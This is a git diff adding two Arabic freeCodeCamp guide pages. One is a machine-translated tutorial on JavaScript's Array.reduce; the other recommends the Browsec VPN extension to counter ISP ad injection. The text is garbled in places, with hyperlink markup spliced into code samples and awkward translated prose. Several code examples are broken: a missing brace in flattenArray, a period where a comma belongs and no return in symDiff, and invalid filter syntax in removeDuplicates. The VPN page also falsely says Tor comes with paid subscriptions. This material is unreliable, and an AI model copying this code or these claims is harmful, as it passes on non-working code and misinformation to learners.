+ثم هناك خطر كتابة [رمز غير قانوني داخل حلقة بدون استخدام إغلاق من IIFE](http://stackoverflow.com/questions/11488014/asynchronous-process-inside-a-javascript-for-loop) .
+
+تبدأ هذه المقالة مع مطالبة - يمكنك تجنب استخدام حلقة for-loop أو أثناء الحل لحل أي مشاكل متعلقة `Array` . بدلا من ذلك ، يمكنك حل كل منهم باستخدام `Array.prototype.reduce()` . إذا كنت ترغب في القراءة ؛ تأكد من معرفتك للوظائف العودية ، وبعض الأدوات الوظيفية الرائعة مثل `Array.prototype.map()` أو `Array.prototype.filter()` .
+
+المطالبات الكبرى تتطلب أدلة كبيرة. لذا دعنا نوضح كيف يمكننا الاعتياد على استخدام `reduce()` .
+
+لقد حان الوقت لأنك تعلم ، أنه إذا لم تحل أقسام البرمجة النصية خوارزمية FreeCodeCamp ، قد ترغب في إيقاف قراءة هذا الجزء التالي. بعض الأمثلة يمكن أن تطابق هذه المشاكل.
+
+هذا هو التنبيه المفسد الكلي. للتأكد من أنك تعطي هذه المشاكل محاولة صادقة ولا تأخذ نظرة خاطفة على الحلول قبل أن تحاول حتى.
+
+أيضًا ، إذا كنت قد فهمته جيدًا بما فيه الكفاية ، فربما ترغب في مراجعة هذا الجزء من الكتابة وتقديم التعليقات.
+
+## هل يمكنني تقليل مشكلة ذات صلة بـ Array؟
+
+نعم تستطيع! في الواقع ، لا تحتاج المشكلة إلى مصفوفة - _بل يجب أن تكون مشكلة ، حيث يمكنك إنشاء صفيف وسيط_ .
+
+دعونا نأخذ مثالا. من الشائع جدًا إنشاء [رابط](https://en.wikipedia.org/wiki/Semantic_URL#Slug) عناوين [URL](https://en.wikipedia.org/wiki/Semantic_URL#Slug) من السلسلة القياسية ذات المسافات البيضاء مثل عناوين الأخبار أو عناوين مقالات المدونات أو حتى أسئلة حول منتديات الأسئلة والأجوبة.
+
+قل ، علينا كتابة وظيفة الأداة ، التي تخلق هذه السلاجقة. ربما يمكنك كتابة شيء كهذا:
+
+ `function createSlug(str){ 
+  return str.split(" ").reduce(function(prev, next){ 
+    return prev.concat(<a href='https://signalvnoise.com/posts/3124-give-it-five-minutes' target='_blank' rel='nofollow'>next.toLowerCase()]); 
+  }, []) 
+  .join("-"); 
+ } 
+` 
+
+لاتأخذ كلماتي على محمل الجد! المضي قدما ، واختبارها في وحدة التحكم الخاصة بك مع بعض المدخلات مثل "ليو في النهاية يفوز بجائزة أوسكار!" انظر ما يعود. سأنتظر ... انتهى؟ حسنا ، المضي قدما.
+
+نعم ، إنه ليس تطبيقًا قويًا. لا يعتني ببعض حالات الحواف ، كما يفترض أن يحدث الانضمام مع `"-"` .
+
+لكن هذه بداية. لاحظ كيف أن استخدام `reduce` يأخذ `reduce` القياسي من طريقك - يحدث الإجراء فقط في السطر:
+
+ `return prev.concat([next.toLowerCase()]); 
+` 
+
+هذا هو جوهر الوظيفة التي نريدها. في الواقع ، نحن مطمئنون جدا من روعتها ، أن نبدأ هيئة `function` مع بيان `return` !
+
+قد تتخيل أن هذا يبدو مثل السحر المظلم. تأكد من أن هذا ليس رد فعل غير مهذب ، لأنك معتاد على كتابة الحلقات. فقط \[امنحه خمس دقائق!
+
+إذا لم تكن الشفرة الواردة أعلاه واضحة ، فأنت بحاجة إلى فهم كيفية `reduce` الأعمال. _وفهمت_ ، أعني ، أعلم أنه مثل ظهر يدك.
+
+## لكنني لا أفهم الخفض على الإطلاق!
+
+حسنا ، لا تخف! أنت على وشك `reduce` النينجا في الدقائق القليلة القادمة.
+
+تحتوي كل وظيفة من مهام JavaScript على ثلاثة أشياء تحتاج إلى معرفتها ، لفهم كيفية عمل الوظيفة:
+
+*   المدخل
+*   الإخراج
+*   سياق التنفيذ
+
+نعم ، يمكنني رؤيتك فتح [وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) الرسمية في علامة تبويب جديدة! كل شيء على مايرام ، اذهب للقراءة أولاً. أنا جاد ، هذه ليست مزحة.
+
+يجب أن تبدأ دائمًا في الوثائق الرسمية لفهم شيء ما.
+
+جيد ، والآن بعد أن كنت مرتبكة مع `prev` `next` داخل رد الاتصال ؛ أنت على استعداد لمتابعة النص هنا.
+
+يأخذ `Array.prototype.reduce()` استدعاء والقيمة الأولية `Array.prototype.reduce()` الإدخال (القيمة الأولية مهمة. الكثير من المطورين ننسى توفير القيمة الأولية بشكل صحيح ؛ `Array.prototype.reduce()` ).
+
+كما يجب أن تكون قد شاهدت في الوثائق ، فإنه يتطلب بعض الحجج الإضافية ولكن اختياري أيضا. ولكن أكثر عن ذلك لاحقا. على افتراض `arr` هو مجموعة عشوائية.
+
+ `arr.reduce(function(){}, initialValue); 
+` 
+
+الآن ، دعونا نلقي نظرة فاحصة على وظيفة رد الاتصال ، والتي هي أول حجة `reduce` من. هذا الاستدعاء ، بدوره ، يأخذ اثنين من الحجج. يتم استدعاء هاتين الحججتين في الوثائق الرسمية في `prev` `next` . أنا شخصياً لا أعتقد أن هذه الأسماء تنصف طبيعتها الحقيقية.
+
+لذا ، في جميع أنحاء هذا النص ، سنكون نشير إليها على أنها " `acc` ، لتمثيل القيمة المتراكمة ؛ `item` ، للدلالة على العنصر الحالي الذي يتم الوصول إليه.
+
+مع هذه حتى الآن ، إليك ما يجب أن يبدو عليه `reduce` :
+
+ `arr.reduce(function(acc, item){ 
+ /* here you have to complete the function */ 
+ }, initialValue); 
+` 
+
+الآن، دعونا معرفة ما قيمة هذه `acc` و `item` هي. لقد ذكرنا في وقت سابق أن `reduce` هو بديل للإنشاءات المتكررة.
+
+من المنطقي أن `reduce` سيأخذ وظيفة رد الاتصال المخصصة الخاصة بك؛ وأعاد على صفيف التي `reduce` قد احتج بها.
+
+بدلا من وصف هذه ، دعنا نسأل محرك JS التنفيذ ما هي هذه!
+
+ `var arr = <a href='http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item); 
+ }, 0); 
+` 
+
+تنفيذ ما ورد أعلاه في المستعرض أو وحدة تحكم عقدة سيعطيك هذا كخرج:
+
+ `0 10 
+ undefined 20 
+ undefined 30 
+ undefined 60 
+` 
+
+لاحظ أن عدد المخرجات هو نفس عدد العناصر في المصفوفة `[10, 20, 30, 60]` . في الواقع ، فإنه يطبع عناصر مصفوفة!
+
+لذلك ، يمكننا أن نستنتج أن `reduce()` يأخذ رد الاتصال المخصص وينفذها على كل عنصر من عناصر المصفوفة. أثناء القيام بذلك ، فإنه يجعل العنصر الحالي متاحًا للمعاودة المخصصة كوسيطة `item` .
+
+ولكن ماذا عن `acc` ؟ نرى ذلك بخلاف السطر الأول ، عندما يكون `item = 10` ، غير `undefined` . في السطر الأول ، الذي يتوافق مع التكرار الأول ، تكون قيمته هي نفس القيمة `initialvalue` .
+
+باختصار ، لدينا تراكم `acc` ، لا تراكم!
+
+ولكن بعد ذلك ، كيف نجعلها تتراكم؟ دعونا نحاول تنفيذ هذا:
+
+ `var arr = [10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item); 
+   return acc; 
+ }, 0); 
+` 
+
+هذه المرة يتغير الإخراج إلى:
+
+ `0 10 
+ 0 20 
+ 0 30 
+ 0 60 
+` 
+
+كما ترون ، ستبقى قيمة `acc` ثابتة طوال الوقت. وهذا متوقع - نحن لا نغير قيمة `acc` في أي مكان في رد الاتصال المخصص. نعود أي `reduce` يجعل متاح في التكرار.
+
+لكننا أدركنا شيئًا - قيمة `acc` في التكرار الحالي ، ستكون قيمة `return` من رد الاتصال المخصص من التكرار السابق. وفي النهاية ، عندما ينتهي التكرار ، سيتم إرجاع القيمة النهائية لـ `acc` من خلال `reduce` الاتصال.
+
+هذا يترك جزءًا مهمًا واحدًا فقط في فهمنا - قيمة سياق التنفيذ ، أو \[ `this` !
+
+لذا ، نقترب مرة أخرى من جارنا الودي ، وحدة التحكم JS وننفذ هذا:
+
+ `var arr = <a href='https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item, this); 
+   return acc; 
+ }, 0); 
+` 
+
+إذا كنت في \[وضع صارم ، فإنه سيعود `undefined` كقيمة `this` . خلاف ذلك ، في المتصفح ، فإنه يشير إلى كائن [`window`](https://developer.mozilla.org/en-US/docs/Web/API/Window) على `this` النحو. يمكننا التغلب عليها ووضعها بمفردنا ، باستخدام [`bind`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind) ؟ بالتأكيد! فقط استخدم `bind` مع معاودة الاتصال:
+
+ `var arr = <a href='https://en.wikipedia.org/wiki/Loop_invariant' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item, this); 
+   return acc; 
+ }.bind(arr), 0); 
+` 
+
+لقد ربطت صفيف `arr` نفسها ؛ ولكن يمكنك ضبطه على أي كائن في بيئتك.
+
+## فهم تقليل
+
+دعونا نلخص فهمنا لوظيفة `reduce` هذه لتسهيل الرجوع إليها:
+
+*   يأخذ "الحد" رد اتصال مخصصًا كوسيطة أولى له ، وبعض القيمة الأولية كوسيطة ثانية له.
+*   من المهم ألا ننسى الحجة الثانية ، القيمة الأولية ؛ ونقوم بتعيينها بوضوح أثناء استخدامها.
+*   يتم دمج الوسائط الإدخال إلى رد الاتصال المخصص `acc` ؛ والعنصر الحالي في المصفوفة ، `item` .
+*   ستكون قيمة `acc` للتكرار التالي القيمة التي تم إرجاعها من داخل معاودة الاتصال ، بالتكرار الحالي.
+*   نقطة كاملة من استخدام `reduce()` هو تشكيل `acc` بشكل صحيح. لإعادته أخيرًا من استدعاء `reduce()` .
+
+لا تحاول تذكرها عن طريق الحذف! بدلا من ذلك ، دعونا نتذكرها بتطبيقها في الكود الحقيقي.
+
+## باستخدام Reduce
+
+دعونا نبدأ عملية مصفوفة بسيطة من أعلى رأسنا - _إيجاد الحد الأقصى في مجموعة_
+
+من أجل الإيجاز ، أفترض أنه عبارة عن صفيف صحيح.
+
+لتكوين حل ، نحتاج إلى التفكير في كيفية تكوين `acc` كما `reduce` ، والتي تستدعي معاودة الاتصال لدينا وتتكرر عبر المصفوفة.
+
+الفكرة التي أجدها مفيدة ، هي التفكير من حيث \[\[\[\]\]\] loop-invariants. نحن نريد التوصل إلى صيغة بغض النظر عن حجم أو محتوى الصفيف ؛ `acc` ينبغي أن يكون دائما القيمة القصوى حتى الآن.
+
+Say، My Array is `[20, 50, 5, 60]` . بعد اثنين من التكرار ؛ `item` سيكون `5` و `acc` ينبغي أن يكون `max(20, 50) = 50` .
+
+الطريقة الوحيدة `acc` يحصل دائما الحد الأقصى من _subarray اجتاز حتى الآن،_ هو ما اذا كنا دائما اختيار أقصى الحالي `item` و `acc` - والعودة هو الفائز!
+
+إذن ، ما هي الوظيفة التي ستبدو عليها:
+
+ `var arr = [20, 50, 5, 60]; 
+ arr.reduce(function(acc, item){ 
+  return Math.max(acc, item); 
+ }, 0); 
+` 
+
+قد يكون من المغري إعادة كتابتها كما يلي ، بالترادف مع مبادئ البرمجة الوظيفية ؛
+
+ `var arr = [20, 50, 5, 60]; 
+ arr.reduce(Math.max, 0); 
+` 
+
+لكن هذا لن ينجح وسيعود `NaN` . هذا هو السبب - لا تعتبر `item` `acc` و `item` الوسيطات **الوحيدة** لمعاودة الاتصال المخصصة. عند استدعاء [`Math.max()`](//forum.freecodecamp.com/t/javascript-math-max/14682) يحاول استدعاء على وسائط غير رقمية ، ينتج `NaN` .
+
+لاحظ أنني لم أفكر كثيرًا في اختيار القيمة الأولية. أنا فقط اختار أنها `0` ؛ مما أدى إلى خلل!
+
+إذن ، ماذا لو كان صفيفي يتألف من قيم أقل من الصفر؟ Say، `arr = <a href='https://en.wikipedia.org/wiki/Least_common_multiple' target='_blank' rel='nofollow'>-7, -56, -5, -2]` . ستكون القيمة التي تم إرجاعها `0` ، وهو غير موجود في Array `arr` .
+
+بدلاً من ذلك ، يجب أن نختار أدنى قيمة ممكنة للقيمة الأولية.
+
+ `var arr = [-20, -50, -5, -60]; 
+ arr.reduce(function(acc, item){ 
+  return Math.max(acc, item); 
+ }, -Infinity); 
+` 
+
+نحن للوصول الى هناك. يجب علينا صقل مهاراتنا في مشكلة أخرى مرتبطة بالصفيف. فقط للحصول على بعض المتعة ، دعونا نذهب مع واحد أكثر صرامة.
+
+لنفترض أننا وجدنا \[LCM من مجموعة من الأعداد الصحيحة. الآن ، من الناحية النظرية ، نحن نعلم أن المضاعف المشترك الأصغر لعددين سيكون نتاجًا لهم ، مقسومًا على [HCF الخاص](https://en.wikipedia.org/wiki/Greatest_common_divisor) بهم.
+
+توجد خوارزمية Eucledian لإيجاد HCF ؛ وفيرة هي تنفيذها. لا توجد نقطة تضيع وقتك مما يجعلك تكتب وظيفة HCF عندما يمكنك كتابة واحدة بنفسك ، أو يمكنك العثور على واحد.
+
+بدلاً من ذلك ، دعنا نلقي نظرة على كيفية تمديد LCM من رقمين في LCM لأعداد متعددة. Newsflash - ليس نتاج مصفوفة كاملة مقسومة على HCF الخاص بهم. كلا. سيكون ذلك خطأ رياضيا.
+
+سيكون LCM من ثلاثة أرقام LCM من أول رقمين ؛ ثم LCM من LCM الأول مع الرقم المتبقي. وبالمثل ، يمكنك صياغة استراتيجية لاكتشاف LCM من المصفوفة الفرعية أولاً ، ثم أخذ رقم آخر والعثور على LCM الخاص به مع LCM الأولى.
+
+إذن ، كيف نصوغ الحل؟ نحن بحاجة إلى التفكير في `acc` في منتصف التكرار. يجب أن تكون `acc` النهائية LCM للمجموعة بأكملها ، بلا شك. لكن خلال التكرار `nth` أيضا ؛ يجب أن تحمل `acc` المضاعف المشترك الأصغر لعناصر `(n-1)` التي تم اجتيازها حتى الآن.
+
+ونعم ، القيمة الأولية. يجب أن يكون رقمًا ، سيكون LCM مع رقم آخر هو الرقم الآخر. من الواضح ، هو `1` .
+
+دعنا نكتب لدينا `reduce` الحل.
+
+ `var arr = <a href='http://www.freecodecamp.com/challenges/symmetric-difference' target='_blank' rel='nofollow'>1, 2, 3, 4, 5, 6]; 
+ arr.reduce(function(acc, item){ 
+  return acc * item / hcf(acc, item); 
+ }, 1); 
+` 
+
+أفترض أن وظيفة `hcf()` متاحة في البيئة. اخترت الإدخالات بطريقة ما ؛ يجب أن ترجع `60` كإجابة.
+
+## مزيد من التخفيض
+
+لا يعد الاختصار مجرد وظيفة لتزويدك بالمرافق لحل بعض مشاكل Mathy مثل مجموع الصفيف ، hcf للصفيف ، الحد الأدنى للصفيف الخ.
+
+انها قادرة تماما على الذهاب إلى أبعد الحدود. سوف نتعامل مع بعض الأمثلة المعقدة في الوقت الحالي.
+
+لنفترض أنك تريد تسوية المصفوفات المتداخلة. ونعم ، قبل البدء في القفز إلى أعلى وأسفل في مقعدك - يمكن أن يكون التعشيش أي مستوى تعسفي عميق.
+
+على سبيل المثال ، يمكن أن نأخذ هذا المصفوفة لاختبار الشفرة الخاصة بنا.
+
+ `var arr = [[1, 2, 3], ['cat', 'dog', ['fish', 'bird'], [[[]]]]]; 
+` 
+
+يبدو هذا معقدًا بما فيه الكفاية لتبدأ به - صفائف متداخلة ، صفائف متداخلة فارغة بعمق مختلف.
+
+يجب أن يكون الإخراج `[1, 2, 3, 'cat', 'dog', 'fish', 'bird']`
+
+لقد حان الوقت لصياغة استراتيجية. نحن نحتاج بوضوح إلى التمييز بين المصفوفة والعنصر. أيضا ، يجب أن تكون `acc` الصفيف الذي يتم تشكيله أثناء التكرار؛ مما يعني أن القيمة الأولية ستكون صفيفًا فارغًا `[]` .
+
+في جميع أنحاء رمز وظيفة رد الاتصال ، يمكننا ببساطة استخراج المحتوى من `item` ، والذي يمكن أن يكون مجموعة متداخلة بشكل عميق ؛ وكنا `Array.prototype.concat()` مع قيمة `acc` . من الأفضل استخدام `concat()` عبر `Array.prototype.push()` ؛ لأن `push()` يغير المصفوفة الأصلية؛ بينما ينشئ `concat()` مصفوفة جديدة ويعيدها.
+
+وبما أننا لا نعرف مستوى التعشيش في أي لحظة ؛ يجب أن نذهب استدعاء callback المخصصة بشكل متكرر. بمعنى ، علينا أن نكتبه في مكان آخر ونطلق عليه بالاسم داخل `reduce()` .
+
+ `var arr = [[1, 2, 3], ['cat', 'dog', ['fish', 'bird'], [[[]]]]]; 
+ 
+ function flattenArray(arr) { 
+  return arr.reduce(function(acc, item){ 
+    if(Array.isArray(item)){ 
+      return acc.concat(flattenArray(item)); // recursively call to flatten nested array 
+    return acc.concat(item); // this does the ordering. If you want reverse ordered output, just reverse it! 
+  }, []) 
+ 
+ } 
+ 
+ // call it like this 
+ flattenArray(arr); 
+` 
+
+بالطبع ، هذا يتطلب بعض الخلفية في وظائف متكررة ؛ ولكن هذا ليس صعبًا للغاية ، مقارنةً بمسألة هذا الطويل!
+
+نعم ، اذهبي واللعب بها. لكن لاحظ كيف يمكننا ببساطة كتابة 3-4 أسطر من الوظائف النظيفة التي تضع بعض الإرشادات البسيطة في الاعتبار - وقم بعمل شيء معقد مثل ذلك الموثوق. هذا قابل للقراءة وصيانته.
+
+على سبيل المثال ، إذا كنت ترغب في تغيير المنطق أو تعديله المنطقي في وقت لاحق (قل إنك تريد وضع بعض الحروف في أعلى السلسلة أو ترميز بعض السلسلة) ؛ يمكنك بسهولة تحديد مكان التغيير. يحدث التعشيش الفعلي داخل `if` الشرط. والطريقة التي استخدمنا بها `reduce` المكالمة هناك - فهي تحافظ على ترتيب العناصر كما هي في الصفيف.
+
+دعونا نأخذ مثالا آخر على ما يبدو معقدا، وجعله على ركبتيها weilding سيف `reduce` !
+
+سنكتشف الاختلافات المتماثلة بين صفحتين أو أكثر. يبدو مروعا ولكن بعد ذلك تبدأ في التفكير.
+
+ماذا ستكون القيمة الأولية؟ بالطبع ، نحن بصدد تشكيل صفيف ؛ لذلك سيكون صفيفًا فارغًا `<a href='https://github.com/reactjs/redux' target='_blank' rel='nofollow'>]` للبدء به. ثم هناك `acc` - لأن حلنا النهائي يحتوي على مصفوفة مختلفة ؛ يجب أن تكون مصفوفة أيضًا. هذا من شأنه الحفاظ على تراكم الخلافات المتماثلة من المصفوفات التي تمت مواجهتها حتى الآن.
+
+فقط ليكون واضحا ، يمكن لهذه الوظيفة قبول عدد عشوائي من المصفوفات. لذلك ، علينا تحويلها كلها إلى صفيف من المصفوفات للتلاعب السهل.
+
+ `function symDiff(args){ 
+  // convert args to an Array 
+  var argsArray = Array.prototype.slice.call(arguments); 
+ 
+  // now do the reduce magic! 
+  argsArray.reduce(function(acc, item){ 
+    return acc 
+      .filter(function(itemInAcc){ 
+        return item.indexOf(itemInAcc) === -1; 
+      }) 
+      .concat(item.filter(function(itemInItem){ 
+        return acc.indexOf(itemInItem) === -1; 
+      })); 
+  }. []); 
+ } 
+` 
+
+نعم اعرف. يبدو كبيرا. لذا ، دعونا نرى ما إذا كان بإمكاننا إعادة تشكيلها لجعلها صغيرة. لاحظ أن كلا من `filter` تقوم بنفس العمل ؛ باستثناء مجموعة متغيرة من أزواج الجدل. رائع! دعونا إنشاء وظيفة منفصلة ونطلق عليه مرتين مع تلك الحجج.
+
+ `function symDiff(args){ 
+  // convert args to an Array 
+  var argsArray = Array.prototype.slice.call(arguments); 
+ 
+  // now do the reduce magic! 
+  argsArray.reduce(function(acc, item){ 
+    var funWithFiltering = function(arr1, arr2){ 
+      return arr1.filter(function(itemInArr1){ 
+        return arr2.indexOf(itemInArr1) === -1; 
+      }); 
+    }; 
+ 
+    return funWithFiltering(acc, item).concat(funWithFiltering(item, acc)); 
+  }. []); 
+ } 
+` 
+
+هذا يبدو أفضل. لكن لا تزال هناك مشكلة أخرى. هذا من شأنه الحفاظ على التكرارات في الصفيف. إذا لم تكن هناك حاجة لذلك ، يمكننا بسهولة كتابة وظيفة أخرى باستخدام `reduce` لإزالة التكرارات.
+
+ `function removeDuplicates(arr){ 
+  arr.filter(item, index, self){ 
+    // Keep only the first instance of the array, as given by indexOf() 
+    // Remove other elements from Array 
+    return self.indexOf(item) === index; 
+  } 
+ } 
+` 
+
+لا يمكننا الاستمرار في تجاهل هذا بعد الآن. لقد تم استخدام `filter` حين وعد باستخدام `reduce` ، أليس كذلك؟ والسبب بسيط - يمكن كتابة `filter` مع `reduce` . في الواقع ، أي عملية مجموعة ، من الناحية النظرية ؛ يمكن تنفيذها مع `reduce()` .
+
+هل ستحاول! تنفيذ `map` `filter` مع `reduce` . يجب عليك الاعتناء بالوسائط الاختيارية أيضًا.
+
+## تغليف
+
+قف كان كثيرًا! ولكنني أعتقد أني استخدمت حالة قوية لاستخدام `reduce` كلما أردت استخدام حلقة لإنجازها. تعايش معها مثل طبيعتك الأولى.
+
+بمجرد أن تحصل على مشكلة في بعض التحولات سلسلة أو تلاعب صفيف؛ ابدأ بالكتابة
+
+ `return arr.reduce(function(acc, item){_}, _); 
+` 
+
+ثم ملء الفراغات. عندما تستخدم `reduce()` ، فأنت تفكر من حيث تفاعل كل عنصر مع عنصر آخر. أنت تقوم بتكوين الناتج عن طريق الإلحاق به من البداية إلى النهاية.
+
+إطار العمل \[Redux يحتضن مبدأ `reduce` ويحظى بشعبية كبيرة في تصميم الويب.
+
+لاحظ أيضًا ميزة بارزة أخرى - قم `reduce` القوى أو توجيهك لتشكيل الحل دون تغيير أي شيء موجود. على سبيل المثال ، في المثال الأخير ؛ كنا نقوم بالتصفية والتركيب - لكننا كنا نعرف أنه سيعمل كما هو ؛ لأن المجموعة الأولى من العملية لم تغير أيًا من `acc` أو `item` داخل هذا التكرار.
+
+سيكون هذا وقتًا رائعًا `initialValue` ، `initialValue` معلمة `initialValue` [اختيارية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce#Parameters) . لست بحاجة إلى تقديمه بشكل صريح.
+
+إذا حذفت هذا ؛ لأول التكرار `acc` سيكون العنصر الأول في مجموعة، و `item` سيكون البند الثاني في مجموعة. هذا يعني أننا نستطيع أن نكتب مجموعًا من الأدوات المساعدة فقط ، وإهمالها. أو ، لا نحتاج إلى التفكير في `-Infinity` في حالة العثور على قيمة قصوى في الصفيف - ستعمل على ما يرام إذا قمنا بإزالة القيمة الأولية.
+
+ولكن في بعض الحالات المعقدة ، سيكون من الأفضل تصور الحل وصياغةه من حيث بعض القواعد - بعض التهيئة. ومع ذلك ، إذا كنت أكثر راحة بدونها ، لكل واحد خاص به!
+
+إذا كان لديك أي أسئلة أو اقتراحات إضافية ، [فانتقل إلى غرفة الدردشة](https://gitter.im/FreeCodeCamp/FreeCodeCamp) لدينا. وأخبرنا كيف `reduce` !
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md b/client/src/guide/arabic/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md
new file mode 100644
index 0000000000..7e2e2f70a0
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md
@@ -0,0 +1,97 @@
+---
+title: Using Browsec for Securing Your Connection to Freecodecampcom
+localeTitle: باستخدام Browsec لتأمين الاتصال الخاص بك إلى Freecodecampcom
+---
+### لماذا أحتاج إلى مكون إضافي أو إضافة؟
+
+بدأت بعض المعسكرات في الآونة الأخيرة بمواجهة مشاكل غريبة ، وهي "تعديل المحتوى" من قِبل بعض مزودي خدمة الإنترنت (ISP) ، مما أدى إلى كسر موقع الويب الخاص بـ [FreeCodeCamp.com](http://freecodecamp.com) (FCC) أحيانًا.
+
+وقد ظهر ذلك مع بعض المشكلات التي سجلها المعسكر:
+
+*   [\# 5999: إعلانات الحقن الهندية لمزودي خدمة الإنترنت تكسر الموقع](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/5999)
+*   [\# 6122: مشكلة خطيرة باستخدام IDE FCC ، وحدة التحكم تظهر الخطأ ...](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/6122)
+*   [\# 6381: غير قادر على عرض محرر التعليمات البرمجية في المستعرض](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/6381)
+
+## TL ؛ DR: ما الخطأ ، مرة أخرى؟
+
+حسنا ، بالنسبة لبعض المعسكر ، هذه هي حالة كلاسيكية من [الرجل في الهجوم الأوسط](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) .
+
+على سبيل المثال ، كما هو موضح في المسألة رقم 5999 ، يعمد مزودو خدمة الإنترنت من بعض المعسكرات من الهند عن قصد إدخال الإعلانات في مواقع الويب التي يزورها المستخدم والتي تتسبب في حدوث مشكلات.
+
+وفي بعض الأحيان ، يستخدم مزودو خدمات الإنترنت أحيانًا استراتيجية مماثلة لتخزين مواقع الويب التي زارها المستهلكون ، حتى يتمكنوا من عرض المحتوى المخبأ على المستهلكين الآخرين الذين يزورون مواقع الويب نفسها ، مما يوفر لهم تكاليف النطاق الترددي ، في الوقت الذي توفر فيه مواقع الويب أسرع.
+
+ولكن عندما لا يتم ذلك بشكل صحيح (أو يتم بشكل ضار كما هو الحال في الحالة الأولى) ، فإن هذا يعدل المحتوى الأساسي لمواقع الويب ، ويمنعها من العمل بشكل صحيح.
+
+## ما هو الإصلاح ، إذن؟
+
+بسيطة ، نحن بحاجة إلى تشفير اتصالنا إلى موقع FCC. من خلال تشفير حركة المرور لدينا ، نتجاوز قدرة مزود خدمة الإنترنت على تعديل المحتوى أو تخزينه مؤقتًا أثناء مروره عبر البنية الأساسية.
+
+يمكن القيام بذلك من خلال وظيفة إضافية مفيدة للمتصفح تُسمى [Browsec](https://browsec.com/en/) .
+
+### كيف تعمل الوظيفة الإضافية؟
+
+تقوم الوظيفة الإضافية بإنشاء اتصال VPN بين جهازك والعالم الخارجي. أي ، السيد Peeping Tom (ISP) ، لا يمكنه العبث باتصالك بموقع FCC على الويب. من الناحية الفنية نفسها كما لو لم تكن في منزلك ، ولكن الوصول إلى موقع لجنة الاتصالات الفدرالية على شبكة الإنترنت من الولايات المتحدة أو هولندا أو أماكن أخرى مشابهة.
+
+_وراء الكواليس فإنه يشفر نقل البيانات ، ويخفي IP الخاص بك._
+
+## أنا بيعت ، أرني الخطوات.
+
+ها أنت ذا!
+
+### لـ Google Chrome:
+
+#### الخطوة 1: تثبيت ملحق browsec.
+
+يمكنك [تنزيل وتثبيت المكوّن الإضافي browsec](https://chrome.google.com/webstore/detail/browsec/omghfjlpggmjjaagoclmmobgdodcjboh) لـ Chrome من WebStore الرسمي.
+
+![صورة لـ "Browsec على Google Chrome WebStore"](//discourse-user-assets.s3.amazonaws.com/original/2X/6/61bd52ed78c56369e62ca376b6dd9e56abcb6363.png)
+
+#### الخطوة 2: مسح ملفات تعريف الارتباط وذاكرة التخزين المؤقت للمتصفح (اختياري).
+
+إنه أمر جيد إذا قمت بمسح ذاكرة التخزين المؤقت للمتصفح للمرة الأولى التي ستستخدم فيها المتصفح ، بحيث يقوم المتصفح بتحميل كافة الملفات من البداية.
+
+#### الخطوة 3: إعادة تشغيل المستعرض الخاص بك ، وزيارة [FreeCodeCamp.com](http://freecodecamp.com)
+
+ما عليك سوى إغلاق المتصفح وإعادة تشغيله. تحقق من الامتداد الخاص بـ browsec ، للتعرف على الموقع النهائي المطلوب.
+
+### بالنسبة إلى Mozilla Firefox:
+
+قم بتنزيل إصدار Firefox محمول ، مع إضافة مجمعة ، من [موقع ويب Browsec](https://browsec.com/en/dashboard/main) .
+
+![صورة لـ "Browsec على Google Chrome WebStore"](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b30fbf3bade330044e18b3c37409f2437a3810c1.png)
+
+هذا هو! الترميز سعيدة! إذا نجح ذلك ، فأخبرنا في [دردشة المساعدة](https://gitter.im/FreeCodeCamp/Help)
+
+## أسئلة وأجوبة
+
+### كيف أعرف ، إذا واجهت هجوم "رجل في المنتصف"؟
+
+عند زيارة موقع FCC على الويب ، أو القيام بالتحديات ، إذا نظرت إلى وحدة تحكم مطور البرامج في المستعرض (اضغط على F12> علامة التبويب Console) ، من المفترض أن ترى أخطاءً مماثلة مثل أدناه.
+
+![صورة لـ "خطأ"](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4949599e3143f454fc5a7174a81e65fa68d04c77.png)
+
+![صورة لـ "خطأ"](//discourse-user-assets.s3.amazonaws.com/original/2X/0/039acb319bae57f31ebd78aa3c8987f324a37f84.png)
+
+![صورة لـ "خطأ"](//discourse-user-assets.s3.amazonaws.com/original/2X/2/25dcc04ecddc422fb7ba113ddac3378d5decd905.png)
+
+هذه هي الحالات الكلاسيكية لهذه القضية.
+
+### انتظر لحظة ، هل يمكنني استخدام أي آلية بديلة ، إلى Browsec؟
+
+نعم ، لم لا ، يمكنك استخدام أي عملاء VPN متاحين في السوق ، ولكن ضع في اعتبارك أن Browsec مجاني ويعمل بشكل رائع!
+
+### ماذا عن المتصفحات الأخرى ، إنترنت إكسبلورر ، سفاري ، وما إلى ذلك؟
+
+همم ، ابحث عن أي إضافات VPN يمكنك العثور عليها لهذه المتصفحات ، [تور](https://www.torproject.org/) ، هو أحد هذه الأجهزة ، ولكنه يأتي مع اشتراكات مدفوعة الأجر ، يمكنك بشكل أساسي استخدام أي شخص مجهول الهوية ، ولكن يتم اختبار واختبار Chrome و Browsec و عملت لمعظم المعسكر في الماضي.
+
+### هل يمكنني استخدام anonymizer لاستخدام المواقع بخلاف FCC؟
+
+بكل تأكيد نعم. لما لا؟ لكن تذكر أن هذا لا يجعلك غير مرئيًا للقانون ، لذا كن حذراً مما تقوم به! ![:wink:](//forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=2 ":غمزة:")
+
